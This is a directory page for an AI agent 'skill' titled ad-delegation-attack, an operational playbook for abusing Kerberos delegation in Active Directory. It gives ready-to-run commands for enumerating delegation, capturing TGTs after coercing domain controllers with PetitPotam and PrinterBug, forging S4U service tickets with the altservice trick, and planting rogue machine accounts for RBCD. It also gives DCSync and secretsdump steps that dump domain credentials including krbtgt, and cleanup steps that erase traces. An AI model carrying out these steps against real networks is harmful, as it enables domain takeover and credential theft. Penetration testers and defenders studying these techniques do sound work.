SuperAPI AI Directory
Partner中文AI newsFavorites
Skillsad-delegation-attack

ad-delegation-attack

General & other

View repository

Updated 10-16 07:23

About this skill

Kerberos delegation attacks

Trigger conditions

Use this skill in the following scenarios:

  • BloodHound discovers unconstrained/constrained delegation configurations in the domain
  • A service account or machine account configured with an SPN has been compromised
  • Have GenericWrite/GenericAll/WriteDacl permissions on the target computer object
  • Need to achieve privilege escalation or lateral movement through delegation

Prerequisites

  • Valid domain credentials (plaintext/Hash/ticket)
  • Delegation configurations have been enumerated (or are ready to be enumerated)
  • Tools: findDelegation.py, getST.py, rbcd.py, addcomputer.py, Rubeus

Delegation type quick reference

Type Key flags/attributes Attack method
Unconstrained delegation TRUSTED_FOR_DELEGATION (UAC 524288) Capture visitor TGT
Constrained delegation (with protocol transition) msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATION S4U2Self + S4U2Proxy
Constrained delegation (without protocol transition) msDS-AllowedToDelegateTo Requires the user to authenticate first or combine with RBCD
RBCD msDS-AllowedToActOnBehalfOfOtherIdentity S4U attack after configuration

Decision tree

[开始] 需要利用 Kerberos 委派
    │
    ├─ 已知委派配置？
    │   ├─ 否 → Phase 1: 委派枚举
    │   └─ 是 → 判断类型
    │
    ├─ 非约束委派 (Unconstrained)
    │   ├─ 已控制该机器？
    │   │   ├─ 是 → Phase 2: 监听 TGT + 强制认证
    │   │   └─ 否 → 需先取得机器控制权
    │   └─ 捕获 DC TGT → DCSync / 横向移动
    │
    ├─ 约束委派 (Constrained)
    │   ├─ 有协议转换 (TrustedToAuthForDelegation)?
    │   │   ├─ 是 → Phase 3: S4U2Self + S4U2Proxy 直接利用
    │   │   └─ 否 → 需用户票据或结合 RBCD
    │   ├─ 目标服务非 cifs/ldap → altservice 技巧改写 SPN
    │   └─ 获取 ST → 访问目标服务
    │
    ├─ RBCD
    │   ├─ 对目标有写权限？
    │   │   ├─ 是 → Phase 4: RBCD 攻击
    │   │   └─ 否 → 寻找 ACL 路径
    │   ├─ MAQ > 0 或已有机器账号 → 创建/使用机器账号
    │   └─ 配置 → S4U → 访问 → 清理
    │
    └─ 无委派可利用 → 检查 ACL，考虑其他路径

Phase 1: Delegation enumeration

Objective: Discover all delegation configurations in the domain

# findDelegation.py (推荐，一次发现所有类型)
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>

Example output:

AccountName   AccountType  DelegationType                      DelegationRightsTo
------------  -----------  ----------------------------------  --------------------------
DC01$         Computer     Unconstrained                       N/A
SVC_SQL       User         Constrained w/ Protocol Transition  MSSQLSvc/db01.domain.local
WEB01$        Computer     Constrained                         http/app01.domain.local

LDAP filter

# 非约束委派 (排除 DC)
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))

# 约束委派
(&(objectCategory=*)(msDS-AllowedToDelegateTo=*))

# RBCD
(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))

PowerView

# 非约束委派 (排除 DC)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}

# 约束委派
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

BloodHound Cypher

MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, c.name
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN p

Phase 2: Unconstrained delegation exploitation

Prerequisite: A non-DC TRUSTED_FOR_DELEGATION machine has been compromised

Principle: When a user accesses, the KDC embeds a TGT in the ST, and the server caches it in LSASS. Extracting it allows impersonation.

→ references/unconstrained-delegation.md

2.1 Listen for TGT

Rubeus.exe monitor /interval:10 /nowrap
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

2.2 Force authentication trigger

# Coercer (集成多种方法)
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <UNCONSTRAINED_MACHINE> -t <DC_IP>

# PetitPotam (MS-EFSRPC)
PetitPotam.py <UNCONSTRAINED_MACHINE> <DC_IP>

# PrinterBug (MS-RPRN)
SpoolSample.exe <DC_HOSTNAME> <UNCONSTRAINED_MACHINE>

2.3 Use the captured TGT

# 导入票据并 DCSync
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TGT>
steal_token <PID>
dcsync <DOMAIN> <DOMAIN>\krbtgt

# Linux
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'

Phase 3: Constrained delegation exploitation

Prerequisite: Control the credentials of the constrained delegation service account/machine account

→ references/constrained-delegation.md

3A: With protocol transition — S4U2Self + S4U2Proxy

# getST.py
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

# 使用 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -hashes :<NT_HASH> <DOMAIN>/<SERVICE_ACCOUNT>

# 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>

# Rubeus
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt

altservice technique

The sname in the ST is not signature-protected and can be rewritten to another service on the same host:

# 原目标 time/dc01 → 改为 ldap 用于 DCSync
getST.py -spn time/<DC_FQDN> -impersonate Administrator \
  -altservice cifs/<DC_FQDN> <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:time/<DC_FQDN> /altservice:ldap /user:<SERVICE_ACCOUNT> /ticket:<BASE64_TGT> /nowrap

3B: Without protocol transition

S4U2Self tickets are not forwardable and require additional means:

# 方法 1: 结合 RBCD (在服务账号自身配置)
rbcd.py -delegate-from '<SERVICE_ACCOUNT>' -delegate-to '<SERVICE_ACCOUNT>$' \
  -action write <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

# 方法 2: 捕获用户可转发票据后 S4U2Proxy
Rubeus.exe monitor /interval:5 /filteruser:Administrator
Rubeus.exe s4u /ticket:<CAPTURED_TGT> /msdsspn:cifs/<TARGET_FQDN> /ptt

Phase 4: Resource-based constrained delegation (RBCD)

Prerequisite: Have GenericWrite/GenericAll/WriteDacl on the target + can create or already have a machine account

→ references/rbcd-attack.md

4.1 Prerequisite check

# 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq

# 检查 ACL
Get-DomainObjectAcl -Identity "<TARGET>" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
}

4.2 Create machine account

addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

4.3 Configure RBCD

rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

4.4 S4U attack

getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>

Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt

4.5 Cleanup

rbcd.py -delegate-to '<TARGET>$' -action flush -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
addcomputer.py -computer-name 'YOURPC$' -delete -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

Common troubleshooting

S4U failure: KDC_ERR_BADOPTION

  1. The impersonated user is in the Protected Users group — switch to another user
  2. The user is marked "Account is sensitive and cannot be delegated" — switch user
  3. Service account SPN missing — confirm it is registered
  4. Tickets without protocol transition are not forwardable — combine with RBCD

Unable to create machine account

  1. Check ms-DS-MachineAccountQuota (default 10)
  2. Quota exhausted → use an already controlled machine account
  3. Find user accounts in the domain that already have an SPN

RBCD configuration succeeds but S4U fails

  1. Confirm the machine account has an SPN (HOST/YOURPC Automatic registration)
  2. rbcd.py -action read Verify attribute write
  3. Confirm DNS resolution is correct — SPN must match DNS

Tool Reference

Tool Purpose Platform
findDelegation.py Enumerate all delegation configurations Linux
getST.py S4U attack to obtain service tickets Linux
rbcd.py Configure/read/clear RBCD Linux
addcomputer.py Create/delete machine accounts Linux
Rubeus Kerberos ticket operations Windows
Coercer Coerce authentication (integrates multiple methods) Linux
PetitPotam MS-EFSRPC coercion authentication Cross-platform

In-Depth Reference